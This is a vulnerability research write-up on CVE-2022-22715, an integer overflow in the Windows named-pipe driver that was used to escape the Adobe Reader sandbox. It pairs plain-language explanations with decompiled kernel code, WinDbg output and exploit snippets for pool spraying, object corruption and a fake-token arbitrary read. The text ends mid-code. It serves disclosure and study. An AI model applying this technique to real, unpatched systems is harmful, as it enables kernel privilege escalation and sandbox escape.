An attacker who can run code in an AppContainer or restricted sandboxed process, such as the Adobe Reader render process, can trigger the overflow and, with the pool layout described here, obtain arbitrary kernel read/write, disable PreviousMode for the thread, and elevate privileges. The author used it to escape the Adobe Reader sandbox. The exploit is not a single-shot primitive: it depends on a carefully arranged pool layout, on identifying the corrupted manager and worker objects through the WNF error code and the token LUID, and on repairing corrupted _TOKEN headers and the VS pool RBTree afterwards to avoid crashes.
Fix
Microsoft patched the vulnerability in February 2022. The patched function computes the total size in int and checks it against the maximum ushort value before allocating:
NTSTATUS __fastcall NpTranslateContainerLocalAlias(struct _UNICODE_STRING *a1, void *a2, _DWORD *a3)
{
[...]
if ( v13 )
{
if ( TokenInformation )
{
v20 = DestinationString.Length + v37.Length;
v21 = v20 + 120;
v22 = v20 + 122;
}
else
{
v21 = v37.Length + 96;
v22 = v37.Length + 98;
}
}
else
{
v21 = DestinationString.Length + 112;
v22 = DestinationString.Length + 114;
}
if ( !v18 )
v22 = v21;
v23 = v19 + v22;
if ( v23 <= 0xFFFE )
{
v28.MaximumLength = v23;
Pool2 = (WCHAR *)ExAllocatePool2(256i64, (unsigned __int16)v23, 1850110030i64);
[...]
}
Variants to test
- Other named-pipe paths that reach
NpTranslateContainerLocalAliaswith aLOCAL\prefix and a leading backslash in the remainder. A positive result is a pool allocation whose size does not match the length later used byRtlUnicodeStringPrintf. - Other 16-bit size computations in npfs name translation, for example where a prefix length is added to a user-controlled name length. A positive result is a wrapped total that reaches an allocation.
- Other kernel components that translate sandbox-relative names into
AppContainerNamedObjectspaths. A positive result is a similar mismatch between allocated size and copied length. - The WNF manager/worker pattern with other objects that expose a pointer field through a copy API. A positive result is a controlled read or write through a corrupted object adjacent to a
_WNF_STATE_DATAwith an inflatedDataSize. - The
NtRegisterThreadTerminatePortspray for 0x20 paged pool. A positive result is a predictable run ofPsTpallocations that can be freed and reused. - The VS pool RBTree repair technique on other pool types. A positive result is that a corrupted node can be removed without a BSoD when the allocator next traverses the tree.
Timeline
- 2021-10-17: vulnerability reported to Microsoft via TianfuCup 2021.
- 2022-02-08: Microsoft released the patch, assigned CVE-2022-22715.
- 2022-08-23: blog post published in partnership with the Adobe Product Security Incident Response Team.
What happened, in plain words
In February 2022 Microsoft fixed a security flaw in Windows that a researcher called k0shl, from the security company Cyber Kunlun, had used in a competition called TianfuCup 2021. The competition task was to break out of the sandbox that Adobe Reader uses to keep its rendering work contained. The flaw got the official name CVE-2022-22715, and the author nicknamed it "Windows Dirty Pipe".
A few words before we go further, because they come up constantly.
A vulnerability is a mistake in a program that lets someone make the program do something its authors did not intend. A sandbox is a set of restrictions around a program: the program can still run, but it is fenced off from the rest of the computer, so that if it is tricked into running bad code, the damage stays inside the fence. A kernel is the core of the operating system, the part that talks directly to hardware and enforces all the rules. If an attacker gets code running inside the kernel, the sandbox no longer means anything, because the kernel is the thing that enforces the sandbox. That is why this bug matters: it is a way from inside the fence to the room where the fence controls are kept.
The bug lived in a Windows component called the Named Pipe File System, whose driver file is npfs.sys. It had been sitting there for almost ten years, ever since Microsoft introduced a sandboxing feature called AppContainer in Windows 8.1.
A named pipe is a channel that two programs on the same computer use to send each other messages. Think of it as a labelled tube: one program writes into one end, another reads from the other end, and the label (the name) is how they find the same tube. Browsers and other applications commonly use named pipes as IPC, short for inter-process communication, which just means "programs talking to each other". In a browser, the part that displays a web page (the render process) is deliberately kept weak and fenced off, and it talks to the stronger browser process through such channels.
AppContainer is Microsoft's sandbox mechanism for apps. A process running inside an AppContainer carries a special marker in its token. A token, in Windows, is the internal record of "who this process is and what it is allowed to do", a bit like a badge that lists your name and which doors your badge opens. Because sandboxed programs still need named pipes, the Named Pipe File System gained extra code to handle pipe names coming from AppContainer processes. That extra code is where the bug sits.
The specific function is npfs!NpTranslateContainerLocalAlias. Its job is to translate a pipe name that begins with LOCAL\ into a longer, fully qualified name of the form Sessions\<session>\AppContainerNamedObjects\..., so that the pipe object ends up in the right place in Windows' internal catalogue of objects (the object manager). The translation involves adding up lengths. Those lengths are stored in 16-bit variables, and that is the root cause: 16-bit numbers can only count up to 65,535, and adding past that wraps around to a small number, like a car odometer rolling over from 99999 to 00000.
Setup
This is kernel exploitation research against the vulnerable Windows build, driven from a sandboxed process (AppContainer, restricted, or both). The author does not list specific Windows builds or tool versions.
The tools visible in the write-up are WinDbg, Microsoft's kernel debugger, used to inspect memory with commands such as !pool (show what is allocated at an address) and dq (display memory as 64-bit values), plus a user-mode exploit program that calls Windows' low-level NT APIs through resolved function pointers such as fNtCreateWnfStateName, fNtUpdateWnfStateData, fNtQueryWnfStateData, fNtSetInformationToken, fNtQueryInformationToken, fNtOpenProcessToken and fNtQuerySecurityObject.
An API is simply a named operation that one program can ask the operating system (or another program) to perform, like a service counter: you name the service, hand over the details, and get a result back. The Nt... functions are the lowest-level service counters in Windows; normal Windows functions eventually call them.
The precondition for reaching the vulnerable code is that the calling process token is an AppContainer token, a restricted token, or both. A restricted token is a token with some of its permissions removed, another common way to build a sandbox. The final payload stage assumes the target is Adobe Reader: its render process runs inside a Job, which is a Windows container that groups processes together and can limit what they do. One consequence is that the render process cannot start a new program directly.
Finding it
When a program opens a named pipe, it does so through a Windows call named NtCreateFile. That request arrives at the Named Pipe File System as an IRP, an I/O Request Packet, which is the standard envelope Windows uses to carry a request to a driver. The relevant handler is NpFsdCreate, and it chooses what to do based on the parameters of the request, such as the RootDirectory in ObjectAttributes or the CreateDisposition:
__int64 __fastcall NpFsdCreate(__int64 a1, _IRP *a2)
{
[...]
if ( RelatedFileObject )
{
[...]
}
if ( UnicodeString.Length )
{
if ( UnicodeString.Length == 2 && *UnicodeString.Buffer == 0x5C && !RelatedFileObject ) // ===> if open root directory
goto LABEL_47;
}
else
{
if ( !RelatedFileObject || NamedPipeType == 0x201 )
{
[...]
}
if ( NamedPipeType == 0x206 )
{
LABEL_47:
*(_OWORD *)&a2->IoStatus.Status = *(_OWORD *)NpOpenNamedPipeRootDirectory( // ===> open root directory
(__int64)&MasterIrp,
v3,
(__int64)FileObject);
[...]
}
}
if ( ifopenflag )
{
if ( !RelatedFileObject )
{
if ( createdisposition == 1 )
{
*(_OWORD *)&a2->IoStatus.Status = *(_OWORD *)NpOpenNamedPipePrefix( // ====> open a existed directory named pipe
(__int64)v33,
v3,
FileObject,
v11,
DesiredAccess,
RequestorMode);
[...]
}
if ( (unsigned int)(createdisposition - 2) <= 1 )
{
*(_OWORD *)&a2->IoStatus.Status = *(_OWORD *)NpCreateNamedPipePrefix( // ====> create a new directory named pipe
(__int64)v34,
v3,
FileObject,
(struct _SECURITY_SUBJECT_CONTEXT *)v11,
DesiredAccess,
RequestorMode,
Options_high);
[...]
}
}
goto LABEL_57;
}
[...]
Status = NpTranslateAlias((__m128i *)&namedpipename, ClientToken, &v39); // =====> create a new pipe
[...]
}
Line by line, in plain words:
- The function receives a request (
a2) and works out what kind of operation it is. - If the request refers to a related file object (a parent directory), it takes one path; otherwise it checks the length of the supplied name.
- If the name is exactly two characters and the first is
0x5C, which is the backslash character\, and there is no parent directory, it jumps toLABEL_47and opens the root directory of named pipes. - If the name is empty, it checks a pipe type value (
NamedPipeType); when that value is0x206it also goes toLABEL_47and opens the root directory. - If an "open" flag is set and there is no parent directory, it looks at
createdisposition: a value of 1 means "open an existing pipe" and callsNpOpenNamedPipePrefix; a value of 2 or 3 means "create a new pipe" and callsNpCreateNamedPipePrefix. - If none of those branches applied, it falls through to
NpTranslateAlias, which is the path taken when creating a new pipe.
The important takeaway is that the request is routed by its parameters, and the route we care about ends in NpTranslateAlias. There, the pipe name, which the attacker controls, is compared against the prefix LOCAL\:
NTSTATUS __fastcall NpTranslateAlias(UNICODE_STRING *namedpipename, void *a2, _DWORD *a3)
{
[...]
*(_QWORD *)&String1.Length = 0xE000Ci64;
String1.Buffer = L"LOCAL\\";
DestinationString = 0i64;
*a3 = 0;
Length = _mm_cvtsi128_si32(*(__m128i *)a1);
String2 = *a1;
String2.Length = Length;
if ( Length >= 2u && *String2.Buffer == 0x5C )
{
Length -= 2;
String2.MaximumLength -= 2;
v7 = 1;
++String2.Buffer;
String2.Length = Length;
}
else
{
v7 = 0;
}
if ( !Length )
return 0;
if ( a2 && Length > 0xCu )
{
if ( RtlPrefixUnicodeString(&String1, &String2, 1u) ) // ====> compare "LOCAL\\" and prefix of named pipe name
return NpTranslateContainerLocalAlias(a1, a2, a3); // =====> vulnerable code
[...]
}
Line by line:
String1is set up to hold the literal textLOCAL\(the doubled backslash in the source is how you write one backslash in C).- The incoming pipe name is copied into
String2. - If the name is at least two characters long and starts with a backslash, the code skips that leading backslash: it shortens the length by 2, moves the buffer pointer forward by one character, and records that it did so in
v7. - If the name is empty after that, it returns 0 and does nothing.
- If there is a token (
a2) and the name is longer than 12 characters, it compares the start of the name withLOCAL\. If they match, it hands over toNpTranslateContainerLocalAlias, the vulnerable function.
So a pipe name of the form \Device\NamedPipe\LOCAL\xxxxx reaches the vulnerable code. That function first checks the token:
NTSTATUS __fastcall NpTranslateContainerLocalAlias(struct _UNICODE_STRING *namedpipename, void *a2, _DWORD *a3)
{
[...]
result = SeQueryInformationToken(a2, TokenIsAppContainer, &TokenInformation);
if ( result >= 0 )
{
result = SeQueryInformationToken(a2, TokenIsRestricted|TokenGroups, &v28);
if ( result >= 0 )
{
if ( !TokenInformation && !v28 ) // =====> token must be appcontainer or restricted
return 0;
[...]
v14 = *namedpipename;
*(_QWORD *)&v30 = *(_QWORD *)&namedpipename->Length;
v15 = v30;
v16 = (_WORD *)_mm_srli_si128((__m128i)v14, 8).m128i_u64[0];
v17 = v16;
*((_QWORD *)&v30 + 1) = v16;
if ( *v16 == '\\' )
{
v17 = v16 + 1;
ifslash = 1; // ====> if there is "\\" in named pipe name, ifslash will set to 1
v15 = v30 - 2;
}
else
{
ifslash = 0;
}
[...] // ====> calculate the new prefix length
v21 = prefixlength + namedpipenamelength + 0x14;
v26.MaximumLength = v21;
if ( ifslash )
{
v21 += 2; // ===> variable v21 is ushort type, it will be add to 0
v26.MaximumLength = v21;
}
PoolWithTag = (WCHAR *)ExAllocatePoolWithTag(PagedPool, v21, 0x6E46704Eu); // ====> v21 will be 0 because of integer overflow, and it will allocate a small pool.
v26.Buffer = PoolWithTag;
if ( PoolWithTag )
{
if ( ifslash )
{
v26.Buffer = PoolWithTag + 1;
v26.MaximumLength -= 2; // if ifslash is 1, length 0 minus 2, it will cause integer underflow and the length will be set to 0xfffe
}
[...]
RtlUnicodeStringPrintf( // ====> RtlUnicodeStringPrintf will copy large size(0xfffe) buffer to a small pool cause out of bound write
&v26,
L"Sessions\\%ld\\AppContainerNamedObjects\\%wZ\\%wZ\\%wZ",
(unsigned int)v32,
&v35,
&DestinationString,
&v30);
[...]
}
[...]
}
Line by line:
SeQueryInformationTokenasks the token two questions: is this an AppContainer token, and is this a restricted token. If the answer to both is "no", the function returns and does nothing. So the caller must be sandboxed in one of those two ways, which is exactly the situation of a browser renderer or the Adobe Reader render process.- The code then looks at the first character of the pipe name. If it is a backslash, it sets
ifslashto 1 and shortens the length by 2. - It computes a new prefix length: the length of the generated prefix, plus the length of the pipe name, plus
0x14(20 in decimal). Ififslashis 1, it adds 2 more. - All of these size variables are
ushort, a 16-bit unsigned number. A long enough pipe name makes the sum wrap around, so the total becomes a small value, ideally 0. ExAllocatePoolWithTagthen reserves a pool block of that small size. A pool is the kernel's general-purpose memory area, and a paged pool is the part of it that can be moved out to disk when memory is tight. Each allocation carries a four-character tag so that debuggers can show who owns it; here the tag is0x6E46704Eu, which spellsnFpN.- If
ifslashis 1, the maximum length is reduced by 2. If the total was 0, subtracting 2 wraps around the other way, an integer underflow, and the maximum length becomes0xfffe, which is 65,534. RtlUnicodeStringPrintfthen formats the long translated name into the buffer, using that maximum length as its limit. It therefore copies up to 65,534 bytes into a block that was allocated with almost no space, writing far past the end of it. That is an out-of-bounds write: writing outside the memory you were given, into memory that belongs to something else.
The crash dump confirms that the write damaged objects that follow the small 0x20-byte pool block:
rax=0000000000000000 rbx=ffffe7862a687118 rcx=ffffe7862a687080
rdx=4141414141414141 rsi=4141414141414141 rdi=ffffe7862a6876d0
rip=fffff80313807bc8 rsp=ffffe40ab22d8420 rbp=ffffe7862a4e6820
r8=ffffe40ab22d8470 r9=000001c7aa2763c0 r10=fffff80313807ac0
r11=ffffe7862a687080 r12=0000000000000001 r13=0000000000000001
r14=ffffe78628cbc060 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00050246
nt!ExAcquirePushLockExclusiveEx+0x108:
fffff803`13807bc8 f0480fba2e00 lock bts qword ptr [rsi],0 ds:002b:41414141`41414141=????????????????
This is a snapshot of the processor registers at the moment of the crash. rsi and rdx both hold 4141414141414141, which is the byte 0x41, the letter A, repeated. That is the classic sign of attacker-supplied filler data having overwritten a pointer that the kernel then tried to use. The last line shows the instruction that faulted: it tried to set a bit in memory at the address held in rsi, which is now 41414141..., an address that does not exist. In other words, the overflow wrote over a lock structure that the kernel later touched, and the system crashed.
Exploitation
Turning a crash into a working exploit runs into two challenges that shape everything that follows.
- The integer overflow can produce small totals such as 0x20, 0x30 or 0x40, but the total must be exactly 0. Only then does subtracting 2 underflow the maximum length to a large value. Any non-zero small total stays small after the subtraction, and no out-of-bounds write happens.
- The copy length is 0xfffe, more than 16 pages of memory (a page is 4,096 bytes). Copying that much into the kernel's memory area is hard to arrange without hitting something important and crashing.
The key observation for the layout is that different types of subsegment can be allocated in the same segment. To unpack that: the kernel's pool allocator works at two levels. A backend allocator carves memory into large segments. A frontend allocator then hands out smaller pieces, called subsegments, inside those segments. One frontend is the LFH, the Low Fragmentation Heap, which is optimised for many small allocations of the same size. Another is VS, the Variable Size allocator, used for a range of sizes. Normally you would expect each kind to live in its own segment. After some tests the author confirmed that a 0x20 LFH subsegment and a VS subsegment can be made adjacent, sitting side by side. That is what makes a controlled layout possible.
Step 1: choose the manager and worker objects
The corrupted pool block is a 0x20 paged pool block, so the author uses WNF as the limited read/write primitive. WNF stands for Windows Notification Facility, a Windows mechanism for publishing and subscribing to state changes; each piece of state has a name and a data blob. _WNF_STATE_DATA is the internal object that holds such a blob, and its maximum read/write range is 0x1000 bytes. The author calls it the manager object, because it will be the object the attacker steers to reach other memory.
The worker object is a second object that will be used to perform arbitrary reads and writes. It must be a paged pool object containing a pointer field that can be used to read or write any address through a memcpy-like operation. A pointer is simply a number that says where in memory something lives; if you can change a pointer that the kernel trusts, you can make the kernel read or write wherever you like. The author chose _TOKEN, the same kind of object that records who a process is.
With NtSetInformationToken and the TokenDefaultDacl information class, the kernel reaches SepAppendDefaultDacl, which copies user-controlled content to a pointer field stored in the _TOKEN object:
void *__fastcall SepAppendDefaultDacl(_TOKEN *TOKEN, unsigned __int16 *usercontrolled)
{
v3 = usercontrolled[1];
v4 = (_ACL *)&TOKEN->DynamicPart[*((unsigned __int8 *)a1->PrimaryGroup + 1) + 2];
result = memmove(v4, usercontrolled, usercontrolled[1]);
[...]
}
Line by line:
- The function receives a token and a buffer of data supplied by the caller.
v3reads the second 16-bit value in that buffer, which is a length.v4computes a destination address inside the token's dynamic part, using a value taken from the token's primary group.memmovecopies the caller's data to that destination, for the length given. Because the destination is derived from a field inside the token, controlling that field means controlling where the copy lands.
With NtQueryInformationToken and TokenBnoIsolation, the kernel copies an isolation prefix buffer back to user mode:
NTSTATUS __stdcall NtQueryInformationToken(
HANDLE TokenHandle,
TOKEN_INFORMATION_CLASS TokenInformationClass,
PVOID TokenInformation,
ULONG TokenInformationLength,
PULONG ReturnLength)
{
[...]
case TokenBnoIsolation:
[...]
memmove(
(char *)TokenInformation + 16,
TOKEN->BnoIsolationHandlesEntry->EntryDescriptor.IsolationPrefix.Buffer,
TOEKN->BnoIsolationHandlesEntry->EntryDescriptor.IsolationPrefix.MaximumLength);
}
[...]
}
Line by line:
- This is the general "ask a token a question" function. It takes a handle to the token, a class saying which question, a buffer for the answer, its length, and a place to report how much was written.
- When the class is
TokenBnoIsolation, it copies data from a buffer pointed to by a field inside the token (IsolationPrefix.Buffer) into the caller's buffer, for a length also taken from inside the token (IsolationPrefix.MaximumLength). - Because both the source pointer and the length come from the token, a fake token whose fields the attacker controls turns this into a read of any address.
So a fake _TOKEN structure built through the manager object can modify the adjacent worker object, and the two token APIs together become the arbitrary read/write primitive. In plain terms: the manager object lets the attacker rewrite the worker token's internal fields, and the worker token's own APIs then read and write wherever those fields point.
Step 2: choose the 0x20 spray object
The spray object must be fully controllable, including allocation and free. Spraying means allocating a large number of objects of the same kind so that they fill up memory in a predictable pattern, like filling a shelf with identical boxes so you know where the next box will go. nt!NtRegisterThreadTerminatePort provides a suitable object:
NTSTATUS __fastcall NtRegisterThreadTerminatePort(void *a1)
{
CurrentThread = KeGetCurrentThread();
Object = 0i64;
result = ObReferenceObjectByHandle(a1, 1u, LpcPortObjectType, CurrentThread->PreviousMode, &Object, 0i64);
if ( result >= 0 )
{
PoolWithQuotaTag = ExAllocatePoolWithQuotaTag((POOL_TYPE)9, 0x10ui64, 0x70547350u);
v4 = PoolWithQuotaTag;
if ( PoolWithQuotaTag )
{
PoolWithQuotaTag[1] = Object;
*PoolWithQuotaTag = CurrentThread[1].InitialStack;
result = 0;
CurrentThread[1].InitialStack = v4;
}
else
{
ObfDereferenceObject(Object);
return -1073741670;
}
}
return result;
}
Line by line:
- The function gets the current thread, the smallest unit of execution inside a process.
- It looks up the object referred to by the handle
a1, expecting an LPC port object. An LPC port is an internal communication endpoint. - If that succeeds, it allocates a 0x10-byte block of paged pool with the tag
0x70547350u, which spellsPsTp. - It stores the port object pointer in the second half of the block, and the thread's previous stack value in the first half, then links the block into the thread's structure.
- If the allocation fails, it releases the reference and returns an error code.
Calling this repeatedly from a thread allocates a large number of 0x20 paged pool entries (the 0x10-byte request becomes a 0x20-byte block once pool headers are counted). That gives the attacker a spray they can create and free at will.
Step 3: the pool feng shui plan
Pool feng shui is the art of arranging kernel memory allocations so that the object you want to damage ends up next to the object you want to control. The plan is:
- Spray 0x20 paged pool to fill the LFH subsegment. When all segments are full, the backend allocator creates a new segment, and the new 0x20 LFH subsegment lands in it.
- Spray
_TOKENand_WNF_STATE_DATAobjects to fill the VS subsegment, keeping them in the same page. The frontend allocator eventually creates a new VS subsegment, which lands in the segment created in step 1, adjacent to the LFH subsegment.
The resulting layout is:

The picture shows the intended arrangement: the LFH subsegment holding the small spray objects, and right next to it the VS subsegment holding the token and WNF objects, so that an overflow out of the LFH area runs into the objects the attacker wants to control.
The vulnerable pool's position inside the LFH bucket cannot be predicted, and it does not need to be: the out-of-bounds write targets the manager and worker objects in the VS subsegment, so the LFH bucket is simply filled with spray objects and the vulnerable object is left to land at the end of the bucket.
Step 4: account for _WNF_NAME_INSTANCES
Spraying WNF objects also creates _WNF_NAME_INSTANCES objects, which make the frontend allocator create another LFH segment and disturb the layout. Before the feng shui, the author creates and frees a large number of 0xd0 pools to leave holes for those objects:
for (UINT i = 0x0; i < 0x4000; i++) {//0xf000 for normal pool hole
AllocateWnfObject(0xd0, &gStateName[i]);
}
for (UINT i = 0x0; i < 0x4000; i++) {//0xf000
fNtDeleteWnfStateName(&gStateName[i]);//0x30
}
Line by line:
- The first loop runs 0x4000 times (16,384 times) and allocates a WNF object of size 0xd0 each time, storing its name in an array. This fills memory with 0xd0-sized blocks.
- The second loop runs the same number of times and deletes each of those WNF state names, freeing the blocks.
- The result is a large set of free 0xd0-sized holes. When the WNF machinery later creates its own
_WNF_NAME_INSTANCESobjects, they fall into these prepared holes instead of creating new segments and spoiling the layout.
Step 5: verify the layout in WinDbg
After spraying the spray objects, _TOKEN objects and _WNF_STATE_DATA objects, the new LFH and VS subsegments appear in the new segment:
0: kd> !pool ffffb0880d69e000
Pool page ffffb0880d69e000 region is Paged pool
*ffffb0880d69e000 size: 20 previous size: 0 (Allocated) *PsTp Process: ffffc10b74a1c080
Pooltag PsTp : Thread termination port block, Binary : nt!ps
ffffb0880d69e020 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e040 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e060 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e080 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e0a0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
0: kd> !pool ffffb0880d69f000
Pool page ffffb0880d69f000 region is Paged pool
*ffffb0880d69f000 size: 20 previous size: 0 (Free) *....
Owning component : Unknown (update pooltag.txt)
ffffb0880d69f020 size: 20 previous size: 0 (Free) ....
ffffb0880d69f040 size: 20 previous size: 0 (Free) ....
ffffb0880d69f060 size: 20 previous size: 0 (Free) ....
ffffb0880d69f080 size: 20 previous size: 0 (Free) ....
ffffb0880d69f0a0 size: 20 previous size: 0 (Free) ....
0: kd> !pool ffffb0880d6a0000
Pool page ffffb0880d6a0000 region is Paged pool
*ffffb0880d6a0000 size: 20 previous size: 0 (Free) *....
Owning component : Unknown (update pooltag.txt)
ffffb0880d6a0020 size: 20 previous size: 0 (Free) ....
ffffb0880d6a0040 size: 20 previous size: 0 (Free) ....
ffffb0880d6a0060 size: 20 previous size: 0 (Free) ....
ffffb0880d6a0080 size: 20 previous size: 0 (Free) ....
0: kd> !pool ffffb0880d6a1000
Pool page ffffb0880d6a1000 region is Paged pool
*ffffb0880d6a1000 size: 20 previous size: 0 (Free) *....
Owning component : Unknown (update pooltag.txt)
ffffb0880d6a1020 size: 20 previous size: 0 (Free) ....
ffffb0880d6a1040 size: 20 previous size: 0 (Free) ....
ffffb0880d6a1060 size: 20 previous size: 0 (Free) ....
ffffb0880d6a1080 size: 20 previous size: 0 (Free) ....
0: kd> !pool ffffb0880d6a2000 // ======> new VS subsegment header
Pool page ffffb0880d6a2000 region is Paged pool
*ffffb0880d6a2000 size: 30 previous size: 0 (Free) *....
Owning component : Unknown (update pooltag.txt)
ffffb0880d6a2040 size: 880 previous size: 0 (Allocated) Toke
ffffb0880d6a28d0 size: 580 previous size: 0 (Allocated) Wnf Process: ffffc10b74a1c080
ffffb0880d6a2e50 size: 190 previous size: 0 (Free) ..D.
What this shows, block by block:
- The first
!pooloutput lists a run of 0x20-byte blocks taggedPsTp, all allocated, which are the spray objects fromNtRegisterThreadTerminatePort. - The next three outputs show pages full of free 0x20-byte blocks, the empty LFH holes waiting to be filled.
- The last output is the new VS subsegment. Its header is a 0x30-byte block, followed by a large
Tokeblock (a_TOKENobject), then aWnfblock (a_WNF_STATE_DATAobject), then a free block. TheTokeandWnfobjects are the manager and worker objects, sitting together in the same page.

The screenshot shows this same layout as seen in the debugger, with the LFH area and the adjacent VS subsegment containing the token and WNF objects.
The free LFH holes sit at the end of the bucket and the new VS subsegment is next to the LFH bucket, so a vulnerable object created now lands in one of the free LFH holes. The vulnerable object may not be in the last LFH page, but that is not necessary: corruption of the LFH bucket does not affect the exploitation.
0: kd> r
rax=ffffb0880d69e750 rbx=0000000000000002 rcx=0000000000000028
rdx=0000000000000000 rsi=0000000000000000 rdi=ffffe4835a302301
rip=fffff800401c2b31 rsp=ffffe4835a301e00 rbp=ffffe4835a301f00
r8=0000000000000fff r9=00000000000004ca r10=000000006e46704e
r11=0000000000001001 r12=ffffe4835a302220 r13=ffffe4835a302310
r14=0000000000000001 r15=000000000000ff01
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040282
Npfs!NpTranslateContainerLocalAlias+0x391:
fffff800`401c2b31 4889442450 mov qword ptr [rsp+50h],rax ss:0018:ffffe483`5a301e50=0000000000000000
0: kd> !pool @rax // ===> vulnerable pool locate at one of free hole in LFH bucket
Pool page ffffb0880d69e750 region is Paged pool
ffffb0880d69e700 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e720 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
*ffffb0880d69e740 size: 20 previous size: 0 (Allocated) *NpFn
Pooltag NpFn : Name block, Binary : npfs.sys
ffffb0880d69e760 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e780 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e7a0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e7c0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e7e0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e800 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e820 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e840 size: 20 previous size: 0 (Free) MPCt
ffffb0880d69e860 size: 20 previous size: 0 (Free) MPCt
ffffb0880d69e880 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e8a0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e8c0 size: 20 previous size: 0 (Free) MPCt
ffffb0880d69e8e0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
What this shows:
- The
rcommand dumps the registers. The instruction pointer is insideNpTranslateContainerLocalAlias, andraxholdsffffb0880d69e750, the address of the pool block the function just allocated. - The
!pool @raxcommand inspects the memory around that address. The block atffffb0880d69e740is marked with an asterisk and taggedNpFn, which is the name block belonging to npfs. It sits among thePsTpspray blocks, in one of the free holes from the LFH bucket.

The screenshot shows the vulnerable NpFn block sitting inside the LFH bucket, surrounded by the spray objects, with the VS subsegment next to it.
Step 6: trigger the overflow and corrupt DataSize
RtlUnicodeStringPrintf writes about 0xfffe bytes of the attacker-controlled pipe name, corrupting both the LFH pool space and the VS pool space. The payload is shaped so that it modifies _WNF_STATE_DATA->DataSize, the field that records how much data the WNF object holds. A _WNF_STATE_DATA object cannot normally have a DataSize larger than its data region, but after the corruption it can be set to any value up to 0x1000, giving a limited out-of-bounds read/write primitive that reaches the _TOKEN object in the next page:
0: kd> dq ffffb0880d6a28d0 l4
ffffb088`0d6a28d0 00001000`00001000 00001000`00001000
ffffb088`0d6a28e0 00001000`00001000 00001000`00001000
This displays four 64-bit values starting at the WNF object's address. Every value is 00001000 repeated, which is 0x1000. That is the corrupted DataSize: the object now claims to hold 0x1000 bytes, far more than it really does, so reading from it will hand back memory beyond its own data.

The screenshot shows the corrupted WNF object with its inflated size field.
Step 7: identify the corrupted manager and worker objects
Using a corrupted object by handle would crash the system because the object header is damaged. Every kernel object begins with a header that records its type and other bookkeeping, and the kernel checks that header whenever the object is used. So the exploit must learn which handle corresponds to the corrupted objects without touching the damaged ones. Two oracles solve this. An oracle here means a test whose answer tells you something you cannot see directly.
For the manager object, NtQueryWnfStateData is called with a length of 0x1000. If the _WNF_STATE_DATA is not corrupted, the call returns 0xC0000023, which is the Windows error meaning "buffer too small"; if it is corrupted, the call returns the out-of-bounds data. Reading does not corrupt the object structure, so this is safe to repeat. The out-of-bounds data reveals the last corrupted page, and the object in that page is the manager object.
For the worker object, every _TOKEN has a unique LUID, a locally unique identifier, the TokenId, which can be queried with NtQueryInformationToken and the TokenStatistics class. The exploit stores these in an array while spraying _TOKEN objects. The LUID read from the out-of-bounds data is matched against the array to find the worker object. _WNF_NAME_INSTANCES objects are not corrupted, so NtUpdateWnfStateData and NtQueryWnfStateData remain usable.
0: kd> dq 0xffffb0880d6ae000 // ===> the last corrupted page
ffffb088`0d6ae000 00010001`00010001 00010001`00010001
ffffb088`0d6ae010 00010001`00010001 00010001`00010001
ffffb088`0d6ae020 00010001`00010001 00010001`00010001
ffffb088`0d6ae030 00010001`00010001 00010001`00010001
0: kd> dq 0xffffb0880d6af000 // ===> the first normal page
ffffb088`0d6af000 656b6f54`03880000 00000000`00000000
ffffb088`0d6af010 000007b8`00001000 00000000`00000108
ffffb088`0d6af020 ffffc10b`775e8b80 00000000`00000000
ffffb088`0d6af030 00000000`00008000 00000000`00000001
ffffb088`0d6af040 00000000`00000000 00000000`0008006d
What this shows:
- The first page is full of the repeated pattern
00010001, which is the attacker's filler data. This is the last page the overflow reached. - The next page begins with
656b6f54, which read as characters isToke, the pool tag for a token object. The following values are the token's internal fields. This is the first page that was not overwritten, so it holds intact_TOKENobjects, and the LUID inside them can be read and matched.

The screenshot shows the boundary between the corrupted page and the first intact page containing the token object.
Step 8: build the arbitrary read and write primitives
With the manager name and worker handle known, the exploit builds a 0x1000 fake data block containing a fake _TOKEN structure and a _WNF_STATE_DATA structure. The original _TOKEN contents were already obtained through NtQueryWnfStateData, so only a few fields need changing.
Read primitive:
FakeSepCached = malloc(0x48);
ZeroMemory(FakeSepCached, 0x48);
*(USHORT*)((ULONG_PTR)FakeSepCached + 0x2A) = 0x8;
*(UINT64*)((ULONG_PTR)FakeSepCached + 0x30) = ReadAddress;
CorruptionData = malloc(OriginalSize);
ZeroMemory(CorruptionData, OriginalSize);
CopyMemory(CorruptionData, gOccupyWorkerToken, OriginalSize);
*(PUINT64)((UINT64)CorruptionData + TokenOffset + 0x480) = (UINT64)FakeSepCached;
*(PUINT64)((UINT64)CorruptionData + TokenOffset - 0x30) = (UINT64)3;
Status = fNtUpdateWnfStateData(&gWorkerStateName, CorruptionData, OriginalSize, &TypeID, NULL, NULL, NULL); // ===> control manager object
if (Status < 0) {
free(CorruptionData);
free(FakeSepCached);
return FALSE;
}
// ===> arbitrary read
Status = fNtQueryInformationToken(
TokenHandle,
TokenBnoIsolation,
&RecvBuffer,
RecvBufferSize,
